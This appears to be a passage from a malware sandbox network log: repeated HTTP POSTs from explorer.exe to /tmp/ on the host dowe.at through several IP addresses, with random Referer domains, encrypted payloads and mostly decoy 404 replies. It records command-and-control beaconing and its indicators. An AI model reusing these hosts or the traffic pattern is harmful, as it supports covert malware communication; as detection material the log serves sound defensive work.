Nov 30, 2022 00:11:01.770348072 CET	292	OUT	Data Raw: 3b 6e 26 19 8c b9 1b 21 dd dc c0 74 75 03 7e cc 7b 0b bd e3 1f 73 95 63 0f 0c 7c 97 45 b4 c4 1a 98 5a c0 5f 76 6c 56 19 eb e9 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 0b 6b 2c 90 f5 76 0b 75 52 1b cd 81 Data Ascii: ;n&!tu~{sc\|EZ_vlV?*$`7C[zqNA -[k,vuR;GX]!\UbX
Nov 30, 2022 00:11:03.587111950 CET	293	IN	HTTP/1.0 404 Not Found Date: Tue, 29 Nov 2022 23:11:02 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 331 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
30	192.168.2.6	49754	201.124.230.1	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 30, 2022 00:11:58.278934956 CET	4815	OUT	POST /tmp/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://papeicwkil.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 355 Host: dowe.at
Nov 30, 2022 00:11:58.280477047 CET	4815	OUT	Data Raw: 3b 6e 26 19 8c b9 1b 21 dd dc c0 74 75 03 7e cc 7b 0b bd e3 1f 73 95 63 0f 0c 7c 97 45 b4 c4 1a 98 5a c0 5f 76 6c 56 19 eb e9 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 13 6b 2c 90 f5 76 0b 75 27 2c aa 9c Data Ascii: ;n&!tu~{sc\|EZ_vlV?*$`7C[zqNA -[k,vu',zfe90j?FLb2+xFXCQ5RrSd2=3.8_NX9OUG"`+DE64_}
Nov 30, 2022 00:11:59.230812073 CET	4816	IN	HTTP/1.0 404 Not Found Date: Tue, 29 Nov 2022 23:11:58 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 331 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
31	192.168.2.6	49755	200.46.66.71	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 30, 2022 00:11:59.500617027 CET	4817	OUT	POST /tmp/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://csplko.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 286 Host: dowe.at
Nov 30, 2022 00:11:59.500617027 CET	4817	OUT	Data Raw: 3b 6e 26 19 8c b9 1b 21 dd dc c0 74 75 03 7e cc 7b 0b bd e3 1f 73 95 63 0f 0c 7c 97 45 b4 c4 1a 98 5a c0 5f 76 6c 56 19 eb e9 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 10 6b 2c 90 f5 76 0b 75 2a 4e bb 89 Data Ascii: ;n&!tu~{sc\|EZ_vlV?$`7C[zqNA -[k,vuN:Fx%PZ0~*g3f79@;W+^6msu<QcJ5&!H0S;-.'Uo#W"KTn-6
Nov 30, 2022 00:12:00.352895975 CET	4818	IN	HTTP/1.0 404 Not Found Date: Tue, 29 Nov 2022 23:11:59 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 331 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
32	192.168.2.6	49756	200.46.66.71	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 30, 2022 00:12:00.624742031 CET	4819	OUT	POST /tmp/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://ecwfh.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 266 Host: dowe.at
Nov 30, 2022 00:12:00.626914978 CET	4819	OUT	Data Raw: 3b 6e 26 19 8c b9 1b 21 dd dc c0 74 75 03 7e cc 7b 0b bd e3 1f 73 95 63 0f 0c 7c 97 45 b4 c4 1a 98 5a c0 5f 76 6c 56 19 eb e9 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 11 6b 2c 90 f5 76 0b 75 4f 0b ce 81 Data Ascii: ;n&!tu~{sc\|EZ_vlV?$`7C[zqNA -[k,vuOg>xm8~vfjj8UOR$'+YZNMy}[Nyr8_Qj<Guxl3<8H2vSYx_Yn<=6
Nov 30, 2022 00:12:01.500219107 CET	4820	IN	HTTP/1.0 404 Not Found Date: Tue, 29 Nov 2022 23:12:01 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 331 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
33	192.168.2.6	49757	211.59.14.90	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 30, 2022 00:12:01.834208965 CET	4821	OUT	POST /tmp/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://avfvrfo.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 289 Host: dowe.at
Nov 30, 2022 00:12:01.834239006 CET	4821	OUT	Data Raw: 3b 6e 26 19 8c b9 1b 21 dd dc c0 74 75 03 7e cc 7b 0b bd e3 1f 73 95 63 0f 0c 7c 97 45 b4 c4 1a 98 5a c0 5f 76 6c 56 19 eb e9 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 16 6b 2c 90 f5 76 0b 75 6f 22 c6 bb Data Ascii: ;n&!tu~{sc\|EZ_vlV?*$`7C[zqNA -[k,vuo"xJQZVd!xTb-C^ib\0NB77LizK>NyYCeqvENn-l Evx~"[[i
Nov 30, 2022 00:12:03.457660913 CET	4822	IN	HTTP/1.1 200 OK Date: Tue, 29 Nov 2022 23:12:02 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 0 Connection: close Content-Type: text/html; charset=utf-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
34	192.168.2.6	49758	211.59.14.90	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 30, 2022 00:12:03.782768965 CET	4823	OUT	POST /tmp/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://ouqhut.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 235 Host: dowe.at
Nov 30, 2022 00:12:03.782977104 CET	4823	OUT	Data Raw: 3b 6e 26 19 8c b9 1b 21 dd dc c0 74 75 03 7e cc 7b 0b bd e3 1f 73 95 63 0f 0c 7c 97 45 b4 c4 1a 98 5a c0 5f 76 6c 56 19 eb e9 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 17 6b 2c 90 f5 76 0b 75 5e 02 c7 eb Data Ascii: ;n&!tu~{sc\|EZ_vlV?$`7C[zqNA -[k,vu^HmA)f8trAi;\ToxQ@Um(-Ew.,U29qaX(F#7sGYL(<psN
Nov 30, 2022 00:12:04.990518093 CET	4824	IN	HTTP/1.0 404 Not Found Date: Tue, 29 Nov 2022 23:12:04 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 331 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
35	192.168.2.6	49759	211.59.14.90	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 30, 2022 00:12:06.007128954 CET	4825	OUT	POST /tmp/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://amjtlofw.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 356 Host: dowe.at
Nov 30, 2022 00:12:06.007268906 CET	4825	OUT	Data Raw: 3b 6e 26 19 8c b9 1b 21 dd dc c0 74 75 03 7e cc 7b 0b bd e3 1f 73 95 63 0f 0c 7c 97 45 b4 c4 1a 98 5a c0 5f 76 6c 56 19 eb e9 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 14 6b 2c 90 f5 76 0b 75 59 41 f8 8f Data Ascii: ;n&!tu~{sc\|EZ_vlV?$`7C[zqNA -[k,vuYAoWg<7EPNudaS~\|~T0HPPIh1K#)I1L%FM6D@!_pk.{Z%C4]%fx
Nov 30, 2022 00:12:07.220952988 CET	4826	IN	HTTP/1.0 404 Not Found Date: Tue, 29 Nov 2022 23:12:06 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 331 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
36	192.168.2.6	49760	200.46.66.71	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 30, 2022 00:12:08.152627945 CET	4827	OUT	POST /tmp/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://mrgphm.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 339 Host: dowe.at
Nov 30, 2022 00:12:08.152676105 CET	4827	OUT	Data Raw: 3b 6e 26 19 8c b9 1b 21 dd dc c0 74 75 03 7e cc 7b 0b bd e3 1f 73 95 63 0f 0c 7c 97 45 b4 c4 1a 98 5a c0 5f 76 6c 56 19 eb e9 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 15 6b 2c 90 f5 76 0b 75 5a 43 e7 ae Data Ascii: ;n&!tu~{sc\|EZ_vlV?*$`7C[zqNA -[k,vuZCL8EdV~3~o\|8ZY71K2KUw(32{5S\\7I-RrVWY\|zFHMcd`:La
Nov 30, 2022 00:12:09.011964083 CET	4828	IN	HTTP/1.0 404 Not Found Date: Tue, 29 Nov 2022 23:12:08 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 331 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
4	192.168.2.6	49723	200.46.66.71	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 30, 2022 00:11:03.812041044 CET	294	OUT	POST /tmp/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://yfupv.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 253 Host: dowe.at
Nov 30, 2022 00:11:03.813934088 CET	294	OUT	Data Raw: 3b 6e 26 19 8c b9 1b 21 dd dc c0 74 75 03 7e cc 7b 0b bd e3 1f 73 95 63 0f 0c 7c 97 45 b4 c4 1a 98 5a c0 5f 76 6c 56 19 eb e9 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 08 6b 2c 90 f5 76 0b 75 31 4c d4 92 Data Ascii: ;n&!tu~{sc\|EZ_vlV?$`7C[zqNA -[k,vu1LJmYyk/+W@q:yT<ZS+!'DRZSr[@E<!b$7o6,^.b+P1mkV
Nov 30, 2022 00:11:04.692003965 CET	295	IN	HTTP/1.0 404 Not Found Date: Tue, 29 Nov 2022 23:11:04 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 331 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
5	192.168.2.6	49724	211.59.14.90	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 30, 2022 00:11:05.019576073 CET	296	OUT	POST /tmp/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://lawtvrqx.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 250 Host: dowe.at
Nov 30, 2022 00:11:05.019609928 CET	296	OUT	Data Raw: 3b 6e 26 19 8c b9 1b 21 dd dc c0 74 75 03 7e cc 7b 0b bd e3 1f 73 95 63 0f 0c 7c 97 45 b4 c4 1a 98 5a c0 5f 76 6c 56 19 eb e9 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 09 6b 2c 90 f5 76 0b 75 2f 3d fa ed Data Ascii: ;n&!tu~{sc\|EZ_vlV?*$`7C[zqNA -[k,vu/=:c%?3`)JKf#7:8:)+U%.?tiH @'yPH\|,\|onhR^bC{^r
Nov 30, 2022 00:11:06.213625908 CET	297	IN	HTTP/1.0 404 Not Found Date: Tue, 29 Nov 2022 23:11:05 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 43 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 00 00 d8 80 d7 bd 9d d9 a1 98 be 23 cd c5 88 81 d0 9e 5c 28 59 39 08 a6 6d 59 b5 ab 15 bd cf b5 fa 6d 86 21 da ec 71 14 10 94 8f Data Ascii: #\(Y9mYm!q

